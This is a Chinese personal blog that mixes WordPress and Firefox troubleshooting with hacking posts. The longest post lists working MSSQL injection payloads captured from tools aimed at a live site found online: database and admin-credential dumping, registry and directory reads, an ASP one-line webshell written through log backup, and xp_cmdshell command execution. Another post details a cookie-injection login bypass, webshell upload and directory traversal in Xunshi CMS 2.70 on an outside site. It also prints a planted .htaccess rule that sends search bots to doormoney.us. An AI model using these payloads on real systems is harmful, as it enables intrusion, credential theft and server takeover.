用Google搜索替换WordPress默认的搜索

WordPress自带的搜索功能没有Google强大,所以想把博客的搜索功能替换成Google自定义搜索。翻了翻网上的资料,发现自定义搜索已经改版了,表面上看没有以前的功能强大,实则有被ajax google search api代替的趋势。

现在登录http://www.google.com/cse/?hl=zh-CN ,生成一个最简单的搜索框的代码如下:

<!-- Google Custom Search Element -->
<div id="cse" style="width:100%;">Loading</div>
<script src="http://www.google.com/jsapi" type="text/javascript"></script>
<script type="text/javascript">
  google.load('search', '1');
  google.setOnLoadCallback(function(){
    new google.search.CustomSearchControl('003302537028975418586:ymvle_l4feq').draw('cse');
  }, true);
</script>

搜索的结果是ajax无刷新取得的,但是,花了点时间读了google search api , 尝试在我的博客上使用。我用的主题是oriental,把搜索的结果用draw插入到id为contentinner的div中,但是样式完全惨目忍睹,暂时没有时间来分析原因,我猜想是因为oriental的css应用到了搜索结果上了。只有采用老方法。因为oriental的搜索框是在header.php中的,所以定位到header.php,把一下代码放在searchBar这个div中:

    <div id="searchBar">
<form action="http://www.google.com/cse" id="cse-search-box">
  <div>
    <input type="hidden" name="cx" value="003302537028975418586:ymvle_l4feq" />
    <input type="hidden" name="cof" value="FORID:11" />
    <input type="hidden" name="ie" value="UTF-8" />
    <input type="text" name="q" size="31" />
    <input type="submit" name="sa" value="搜索" />
  </div>
</form>
<script type="text/javascript" src="http://www.google.com/coop/cse/brand?form=cse-search-box&lang=zh-Hans"></script>
    </div>

cx是自定义搜索的唯一id,需要一个google账户,在http://www.google.com/cse/?hl=zh-CN中新建,然后自动分配,全世界唯一。

基本上就这样:

用google搜索替换wordpress默认的搜索

用google搜索替换wordpress默认的搜索

通过SniffX嗅探Domain3.5、NBSI3.0、啊D2.32、Pangolin全面了解SQLServer注入过程

想了解sql注入的过程和原理,网上找了些文章,讲得都比较肤浅,但是我知道有几款国内比较常用的注入工具,比如Domain3.5、NBSI3.0、啊D2.32、还有Pangolin、还有一些国外的。这里随便弄几个来研究一下就ok。这次用到的嗅探工具是sniffx专门嗅探http的数据包,功能不强大,但是足够这次活动的使用。本来想使用ethereal或wireshark,但是里面复制数据包内容老是把没有转码的16进制也复制了过来,有点麻烦。也就是说这两个工具用得不娴熟。

查询数据库信息

本地没有找到好点的有注入漏洞的系统,只好在网上寻找了,先用Domain3.5,运行很好以来就找到个sqlserver,sa权限的注入点,点Domain3.5上面的“开始检测”

通过SniffX嗅探Domain3.5、NBSI3.0、啊D2.32、Pangolin全面了解SQLServer注入过程

以下是Domain3.5中嗅探出来的http数据包:

news_show.asp?id=15618%20and%201=1
news_show.asp?id=15618%20and%201=2
news_show.asp?id=15618%20and%20exists%20(select%20*%20from%20sysobjects)
news_show.asp?id=15618%20and%20char(124)%2Buser%2Bchar(124)=0
news_show.asp?id=15618;declare%20@a%20int--
news_show.asp?id=15618%20and%20char(124)%2Bdb_name()%2Bchar(124)=0
news_show.asp?id=15618%20And%20IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)=1

以下是NBSI3.0中嗅探出来的http数据包:

news_show.asp?id=15618%20and%20user%2Bchar(124)=0
news_show.asp?id=15618%20And%20system_user%2Bchar(124)=0
news_show.asp?id=15618%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20nvarchar(1))%2Bchar(124)=1
news_show.asp?id=15618%20And%20db_name()%2Bchar(124)=0
news_show.asp?id=15618;declare%20@a%20int--

啊D和Pangolin的数据包这里就不列出来了,都差不多。基本的过程是通过and 1=1和and 1=2来判断是否可注入,一般1=1返回http 200(ok),1=2返回http 500(internal server error)表示injectable。然后and exists(select * from sysobjects)来判断数据库类型,sysobjects是sqlserver每个数据库自带的用来存储数据库信息的表格,access每个数据库自带的表格是msysobjects。判断出来是sqlserver数据库之后,然后用系统自带的变量user,system_user和0比较,system_user是nchar类型,user是char类型,0是肯定是int类型,因为不同类型的数据在sqlserver中无法直接比较,所以对于开启错误提示的sqlserver来说就会报错,顺便将敏感信息也暴了出来:

通过SniffX嗅探Domain3.5、NBSI3.0、啊D2.32、Pangolin全面了解SQLServer注入过程

关于user,system_user的解释,点上面的链接到msdn上去看看。
Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20nvarchar(1))%2Bchar(124)=1cast()作用是将一种数据类型的表达式显式转换为另一种数据类型的表达式。CAST 和 CONVERT 提供相似的功能。IS_SRVROLEMEMBER指示 SQL Server 2005 登录名是否为指定固定服务器角色的成员,返回值类型为int,0表示不是某某成员,1表示是。0x730079007300610064006D0069006E00是’sysadmin’的16进制码,为啥要弄成16进制呢,我猜想可能是怕网站程序过滤点sysadmin关键字,如果页面正常返回(200),则表示该用户是sysadmin。精心将int转换成nvarchar(1)又会暴出类型转换错误,而这就是黑客所需要的信息。db_name()回暴出当前数据库名。
;declare%20@a%20int–申明一个int变量a,作用我不得而知。接下来的工作是列出服务器上的数据库名:(假设服务器上有16个数据库)

news_show.asp?id=15618 And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From master..sysdatabases)%3E0
news_show.asp?id=15618 And char(124)+(Select Top 1 cast([name] as varchar(8000)) from(Select Top 1 dbid,name from [master]..[sysdatabases] order by [dbid]) T order by [dbid] desc)>0
news_show.asp?id=15618 And char(124)+(Select Top 1 cast([name] as varchar(8000)) from(Select Top 2 dbid,name from [master]..[sysdatabases] order by [dbid]) T order by [dbid] desc)>0
news_show.asp?id=15618 And (Select Top 1 cast([name] as nvarchar(4000))%2Bchar(124) from(Select Top 16 dbid,name from **[master].[dbo].[sysdatabases]** order by [dbid]) T order by [dbid] desc)>0

先列出上面UrlEncode的字符

%2B -- '+'
%3E -- '>'
%20 -- ' '
%2F -- '/'

我只能说这些sql语句构造得是相当的巧妙啊,我开始纳闷了,为啥非要用子查询呢。于是我直接用
Select Top X dbid,name from [master].[dbo].[sysdatabases] order by [dbid]
当X为1,也就是返回第一个的时候,是没有问题的,返回了master,但是X为2的时候就出现错误:
子查询返回的值多于一个。当子查询跟随在 =、!=、<、<=、>、>= 之后,或子查询用作表达式时,这种情况是不允许的。
这个时候子查询就起到了关键作用。还有开始不知道T是啥玩意,后来才知道sqlserver子查询必须要起一个别名,T就是那个别名,然后把查询的语句继续和0比较报错 这样就暴出了所有的数据库名。
第一个select count(1)返回数据库数量。

接下来是猜解表名,假设我们当前的数据库是news,那么首先猜解数据库的表的数量:

news_show.asp?id=15618 And (Select char(124)+Cast(Count(1) as varchar(8000))+char(124) From news..sysobjects where xtype=0x55)>0

xtype的为数据表类型,0x55就是U,就是用户表。其他的参见这里有详细的解释。

然后分别列出表名:

news_show.asp?id=15618 And (Select Top 1 cast(name as nvarchar(4000)) from (Select Top 1 id,name from [news]..[sysobjects] Where xtype=0x55 order by id) T order by id desc)>0

修改第二个Top 1为1到表数就可以了。

然后是猜解列名,假设要猜解的表为Admin,首先得到表在sysobjects中存储的唯一id:

news_show.asp?id=15618 And (Select Top 1 cast(id as nvarchar(20)) from [news].[dbo].[sysobjects] where name='**Admin**')>0

猜解表名,id就是上面查询出来Admin表的id。

news_show.asp?id=15618 And (Select Top 1 cast(name as nvarchar(4000))+char(124) from (Select Top 1 colid,name From [news].[dbo].[syscolumns] Where id =** 1993058136** Order by colid) T Order by colid desc)>0

假设猜解出来的列名有id,AdminName,AdminPassword,AdminPower,Userid,ct
假设只猜解AdminName和AdminPassword的值
首先查看Admin表有多少条记录:

news_show.asp?id=15618 And (Select Cast(Count([AdminName]) as nvarchar(4000))+char(124) From [news]..[Admin] Where 1=1)>0

返回第一列数据:

news_show.asp?id=15618 And (Select Top 1 isNull(cast([AdminName] as nvarchar(4000)),char(32)) char(124) isNull(cast([AdminPassword] as nvarchar(4000)),char(32)) From (Select Top 1 [AdminName],[AdminPassword] From [news]..[Admin] Where 1=1 Order by [AdminName]) T Order by [AdminName] Desc)>0

isNull是判定数据是否为空,为空就返回后面那个char(32)的值也就是空格->‘ ’ 。
后面的以此类推。

读取目录—-xp_dirtree

drop掉表,然后在当前数据库创建一个表,有三个字段subdirectory,depth,file

Board.asp?id=494;DROP TABLE techguru;CREATE TABLE techguru(subdirectory nvarchar(400) NULL,depth tinyint NULL,[file] bit NULL)--

清空表的数据,然后把xp_dirtree存储过程的结果存入techguru表,xp_dirtree第一个参数是路径,第二个是深度,为0时无限递归,第三个是文件类型,1为文件夹和文件,0为只显示文件夹。

Board.asp?id=494;DELETE techguru;Insert techguru exec master..xp_dirtree 'c:\',1,1--

开始一个一个的抓取文件,目录名字,每次增加第二个top后面的数

Board.asp?id=494 And (Select Top 1 cast([subdirectory] as nvarchar(400))%2Bchar(124)%2Bcast([file] as nvarchar(1))%2Bchar(124) From(Select Top 1 [subdirectory],[file] From techguru ORDER BY [file],[subdirectory]) T ORDER BY [file] desc,[subdirectory] desc)=0

移除表:

Board.asp?id=494;DROP TABLE techguru--

读取注册表—-xp_regread

首先建立一个表,有两列Value和Data

Board.asp?id=494;DROP TABLE \[techguru];CREATE TABLE [techguru\](Value nvarchar(4000) NULL,Data nvarchar(4000) NULL)--

执行xp_regread写入刚建立的表

Board.asp?id=494;DELETE [techguru];Insert [techguru] exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--

读出来

Board.asp?id=494 And (Select Top 1 cast([Data] as nvarchar(4000))%2Bchar(124) From [techguru] order by [Data] desc)=0

删表

Board.asp?id=494;DROP TABLE [techguru]--

上传webshell—-backup log xx to disk

备份log,截断1,截断2
第 一 步:建立存一句话木马的表

Board.asp?id=494;create table \[dbo].[shit_tmp\] ([cmd] [image])--

第 二 步:0x7900690061006F006C007500是‘yiaolu’的sql编码

Board.asp?id=494;declare @a sysname,@s nvarchar(4000) select @a=db_name
(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--

第 三 步:0x3C25657865637574652872657175657374282261222929253E是< %execute(request("a"))%>的hex。

Board.asp?id=494;insert into \[shit_tmp\](cmd) values
(0x3C25657865637574652872657175657374282261222929253E)--

第 四 步0x64003A005C003100320033002E00610073007000是d:\123.asp的sql编码

Board.asp?id=494;declare @a sysname,@s nvarchar(4000) select @a=db_name
(),@s=0x64003A005C003100320033002E00610073007000 backup log @a to disk=@s with init,no_truncate--

第 五 步

Board.asp?id=494;Drop table [shit_tmp]--

执行命令

;CREATE TABLE \[X_2894\]([id] int NOT NULL IDENTITY (1,1), [ResultTxt] nvarchar(4000) NULL);
insert into \[X_2894\](ResultTxt) exec master.dbo.xp_cmdshell 'Dir C:\';
insert into [X_2894] values ('g_over');exec master.dbo.sp_dropextendedproc 'xp_cmdshell'--
;use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')--
And (Select Top 1 CASE WHEN ResultTxt is Null then char(124) else ResultTxt+char(124) End from (Select Top 1 id,ResultTxt from [X_2894] order by [id]) T order by [id] desc)>0
......
And (Select Top 1 CASE WHEN ResultTxt is Null then char(124) else ResultTxt+char(124) End from (Select Top 23 id,ResultTxt from [X_2894] order by [id]) T order by [id] desc)>0

g_over这个是专门插入用来作为命令回显结束的标志。

;DROP TABLE [X_2894];--

本地文件上传

假设上传到服务器c:\down.vbs位置

;exec master.dbo.xp_cmdshell 'del C:\down.vbs'--
;exec master.dbo.xp_cmdshell 'ecHo [DeleteOnCopy] >> C:\down.vbs';exec master.dbo.sp_dropextendedproc 'xp_cmdshell'--
;use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')--
;exec master.dbo.xp_cmdshell 'ecHo Owner=Administrator >> C:\down.vbs';exec master.dbo.sp_dropextendedproc 'xp_cmdshell'--
;use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')--
;exec master.dbo.xp_cmdshell 'ecHo Personalized=5 >> C:\down.vbs';exec master.dbo.sp_dropextendedproc 'xp_cmdshell'--
;use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')--
;exec master.dbo.xp_cmdshell 'ecHo PersonalizedName=My Documents >> C:\down.vbs';exec master.dbo.sp_dropextendedproc 'xp_cmdshell'--
;use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')--

总结来说就是调用xp_cmdshell执行echo 一句句的写入文件。

这次分析算是告一段落,不过还有mysql,access,oracle,db2,infomix……….等待探索。

哪个sb插件改了我的.htaccess

上次的wordpress故障在解决的同时发现了一个惊天的秘密,俺的web根目录下的.htaccess被修改。

被修改成这样:

# BEGIN WordPress
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress
RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_USER_AGENT} (Googlebot|Slurp|msnbot)
RewriteRule ^ http://doormoney.us/ [R=301,L]

难怪google仅仅收录了本站4页,原来google,yahoo,msn的机器人都被301带到了一个叫doormoney.us的网站,估计是哪个sb插件修改的,要么就是被黑了?貌似是个白俄罗斯的网站。啥内容也没有。

删掉# BEGIN WordPress和# END WordPress之间以外所有内容,现在爬虫又开始在我的网站上抓取了。我艹,速度还真快啊,昨天晚上收录才4个,今天就23了。看来bot们被这该死的.htaccess规则给憋坏了。

故障:wordpress后台数据全部为空

故障:wordpress后台数据全部为空

事情大概发生在2009/10/12,昨天进了本站后台发现全部内容归0,如上图所示。把我吓了一跳。前台的东西完全可以正常访问。我比较怀疑是数据库的问题。试着自己解决,恢复数据到10月7号,问题照旧。本来还打算叫空间的管理员恢复全部内容到10.7,在恢复前的1分钟,它自己又正常了:

故障:wordpress后台数据全部为空

过了一会又“归0”了,相当的邪门 。

到wordpress.org.cn上发帖求助发现没有鸟我,鸟我的也说没有出现过这种情况,然后到wordpress官方论坛发贴,有人解答,方法是删除.htaccess,重新在permalink中自动生成,或者修复mysql所有表。但是貌似都不管用。

无奈之下求教了空间管理员-“黑山老妖”,把后台的密码给了他,结果他禁用了插件akismet一些恢复如初。后台的速度也比以前快了,看来akismet确实是罪魁祸首啊。我对黑山老妖表示万分的感谢,同时我也十分的纳闷akismet插件和这个概况的显示有好大的关系,具体的代码我就不深究了。总之,这确实很邪门。

解决Firefox连接example.com:443时发生错误。 由于SSL协议被禁用,无法安全的连接。 (错误码: ssl_error_ssl_disabled)

打开firefox出现警告框,然后https协议的网站都打不开,错误提示:“连接example.com:443时发生错误。 由于SSL协议被禁用,无法安全的连接。 (错误码: ssl_error_ssl_disabled)”
出现问题的可能有:

硬盘空间不足

查看自己的硬盘分区,看有没有快空间耗尽的,有就清理下。

文件权限不够

检查profile目录下面cert8.db是否为只读,请务必不要勾选只读选项。我的系统现在是windows 7,profile目录是C:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\b05uoda1.default

文件损坏

cert8.db文件可能因为系统原因而损坏,关闭firefox,删除cert8.db,然后启动firefox。

以下听说是cert8d.db损坏的原因:

Non-Latin characters in username

There seems to be a bug with non-Latin (For example Chinese or Russian) characters in your username. There's no fix yet but a workaround is to make another account with a Latin characters only username.

via,
刚才好像是灵魂出窍了,blogspot可直接访问。

讯时网站管理系统2.70漏洞分析

10月1日放国庆了,该死的学校30号晚上尽然还要上晚自习,没有办法只有10月1日回家了。在寝室看完了国庆60周年的阅兵式,这次大家的普遍的反应是没有50周年好看。那个猥琐的导播的技术也确实是烂到了家。最牛逼的还是小平同志那个时候的阅兵式,打过仗的就是不一样啊。今天是十月五日,晃眼间今天就5日了,国庆就过了大半,无所谓,反正学校、家里的生活对我来说没有好大的区别,现在最想的还是找工作,实践自己的所学。

今天没有事情做,友情检测了一个站点 ,思路和过程我会详细记录,此本发布之前已经修补好了所有的漏洞,请看官不要徒劳。检测的主要目的是学习安全技术,挂马死全家。首先瞥了一下网站的基本构架,89不离10是用asp+access搭建的,安全性非常让人质疑,然后随便打开一个带有参数的地址:http://www.xxx.com/xsnews/News_View.asp?NewsID=80 。

习惯性的在网站后面的参数加上’ 成了: http://www.xxx.com/xsnews/News_View.asp?NewsID=80′

结果网页照常正常显示,只是新闻导航有点变化:

动态信息 – [新闻标题] 变成了:$$路径$$ ,我8成估计是模板代码。我突然发现子目录的名字是xsnews,就直接打开这个子目录:

http://www.xxx.com/xsnews/

网站使用的是讯时网站管理系统,但是具体的版本还是未知,我姑且算它使用的是最新版本,就到官方网站下载了一个最新的版本本地假设好,来研究研究:http://www.xuas.com/view.asp?id=2 ,access版本是免费的,mssql是收费的。

down下来,看了看文件目录,我艹,这完全没有统一的命名规范嘛,有大写的,有小写的,有“-”连接的,有“_”连接的。还有后面加“2”的,首先一点来判断这个系统就是做得不专业(当然叫我做不一定做得出来,但至少俺至少了解一些系统开发时的一些规范)。既然前台的sql注入没有希望了,那么我们来看看后台登录代码 login.asp,最牛逼的是这几行,用随机数来生成验证码,这种验证码用了等于没有用,写个js应该可以自动获取里面的值,然后自动填写注册码。理论是这样的,我有时间实验一下。

Randomize
an=""
an= int((99999-11111+1) * RND +11111)
session("xuasyzm")=an
Response.Write an

以下是表单的详细信息:

    ID
    名称
    方法
    操作
     
    FrontPage_Form1
    POST
    admin_login.asp

元素:

    索引
    ID
    名称
    类型
    值
    标签
    大小
    最大长度
    状态
    0
     
    user
    text
     
     
    24
    20
     
    1
     
    pass
    password
     
     
    24
    20
     
    2
     
    XuasYzm
     
     
     
    9
    5
     
    3
     
    B1
    image
    提交
     
     
     
     

登录到admin_login.asp进行验证,分析一下13行开始的代码

For each j in Request.QueryString
sss= sss& j & Request.QueryString(j)
Next
For each j in Request.form
sss= sss& j & Request.QueryString(j)
Next
sss=sss&LCase(request.servervariables("QUERY_STRING"))
GuoLv="select,insert,;,update,’,delete,exec,admin,count,drop,from,truncate,xp_cmdshell,netlocalgroup,and,chr,master,declare,*,char,script,%" ‘过滤掉get和form中的这些关键字来防止注入
GuoLvA=split(GuoLv,",")
for i=0 to ubound(GuoLvA)
if instr(sss,GuoLvA(i))<>0 then
Response.Redirect "res://shdoclc.dll/dnserror.htm" ‘有注入关键字自动跳转到牛逼的“找不到服务器”页面。
response.end
end if
next

sql = "select * from [admin]"
Set rs = Server.CreateObject("ADODB.RecordSet"):rs.cursorlocation=3
rs.Open sql,conn,1,1
if rs.recordcount=0 then
conn.Execute "insert into [admin] ([user],[pass],[dj]) values(‘admin’,’"&md5("admin")&"’,’1′)"
end if ‘如果admin表中没有记录,自动插入一条用户名和密码都是admin的记录。
rs.close:set rs=nothing

看来用户名密码填写’or’=’or’ 或者 ‘or”=’ 等万能密码是没有希望了,都被过滤干净了。继续看代码。假设登录成功会转向到admin_index.asp , 直接打开admin_index.asp会自动跳转到login.asp,说明admin_index.asp做了cookie或者是session验证。发现后台大部分的文件都包含了admin_chk.asp , 这是验证的关键文件:

session("admin__user")=Request.Cookies("adminuser")
session("admin__pass")=Request.Cookies("adminpass")
session("dJ")=Request.Cookies("admindj")

adminuser=Request.Cookies("adminuser")
adminpass=Request.Cookies("adminpass")
admindj=Request.Cookies("admindj")

if adminuser="" or adminpass="" then
Response.Redirect "login.asp?id=8"
end if
%>

< %

user=trim(session("admin__user"))
pass=session("admin__pass")

sql = "select * from admin where [user]=’"&adminuser&"’ and [pass]=’"&adminpass&"’"
Set rs = Server.CreateObject("ADODB.RecordSet")
rs.Open sql,conn,1,1
if rs.recordcount=0 then
Response.Redirect "login.asp?id=8"
end if
rs.close
set rs=nothing
conn.close
set conn=nothing

这个文件的主要目的是先取得三个cookie变量:adminuser,adminpass,admindj, 然后分别把这3个cookie变量赋值给session变量:admin__user,admin__pass,dJ变量和同名的三个变量。如果adminuser,adminpass没有值,直接跳转到登录页面,验证失败。然后把这些变量弄到sql语句中运行,这个时候就可以利用cookie来注入。一般情况下小黑用的是"桂林老兵的cookie browser",可以在本地构造自己的cookie,但是我选择使用firefox的插件firebug的插件firecookie(后来证明我sb了,因为后台的ewebeditor是IE6 only的)。cookie加入adminuser值为admin,adminpass值为’or’=’or’,admindj值为1 ,如图直接地址栏输入admin_index.asp

如图可以发现使用的是讯时2.7系统,就在网站抓了个2.7,然后本地假设,这样至少代码没有好大的区别。接下来就是上传webshell了,方法很简单,修改或者是添加一个新闻,然后用ewebeditor编辑器上传一个图片格式的asp小马,然后在数据库备份那点把图片格式改为asp,asa,cer,htr等等,反正iis可以解析执行就ok。

webshell得到了,就打算收工了,但是还发现了一个漏洞,新闻里面的图片地址类似于:http://www.xxx.com/xsnews/edit/UploadFile/2008613172630223.jpg。这及其可能是ewebeditor编辑器,直接打开http://www.xxx.com/xsnews/edit/ewebeditor.asp的确有这个文件,但是比较恼火的是讯时用的ewebeditor没有后台,所以没有办法通过以前增加样式,然后在样式里面把asp后缀添加到可执行文件中来。不过还有个/xsnews/edit/Admin_UploadFile.asp get参数dir的目录遍历漏洞,直接直接遍历整个网站目录:admin_uploadfile.asp?id=xx&dir=../../../ 这样找access数据库,下载,md5破解密码就也可以登录到后台。

Admin_UploadFile.asp权限验证的代码如下:

if Request.Cookies("admindj")<>"1" then
Response.Write "权限不足,你没有此功能的管理权限"
Response.end
end if

确实是够雷人的,这就是为啥要把cookie里面的admindj改为1的原因所在。另外还有一部分后台管理文件没有包含admin_chk.asp任何人可以直接浏览,简单列表如下:
admin_stat_user.asp //所有用户文章添加排行榜,通过这个可以直接查看后台管理员用户名,如果默认的管理员用户名
//admin被改了,也可以把上面讲的cookie变量adminuser改成相应的名字
admin_ly.asp
admin_news_add_dj.asp
admin_news_addd_dj3.asp
admin_news_pl_view.asp?action=save&id=
admin_news_view.asp
admin_newspl_del.asp
aspcheck.asp
检测完了,然后说说漏洞的修补,cookie注入在4.0中已经修补:

function chkh(stra)
stra=replace(stra,"< ","<")
stra=replace(stra,">",">")
stra=replace(stra,"’","")
stra=replace(stra,"(","(")
stra=replace(stra,")",")")
stra=replace(stra,";",";")
stra=replace(stra,",",",")
stra=replace(stra,"%","%")
stra=replace(stra,"+","+")
chkh=stra
end function
session("admin__user")=chkh(Request.Cookies("adminuser"))
session("admin__pass")=chkh(Request.Cookies("adminpass"))
session("dJ")=chkh(Request.Cookies("admindj"))

adminuser=chkh(Request.Cookies("adminuser"))
adminpass=chkh(Request.Cookies("adminpass"))
admindj=chkh(Request.Cookies("admindj"))

然后把admin_uploadfile.asp加入admin_chk.asp的包含,算了补住了。通过这次检测,已经以前的一些小经验,我觉得web安全在中国还是任重而道远。当然现在这种弱智漏洞已经很少出现了,现在流行的是xss,csrf,深入研究还在进行中。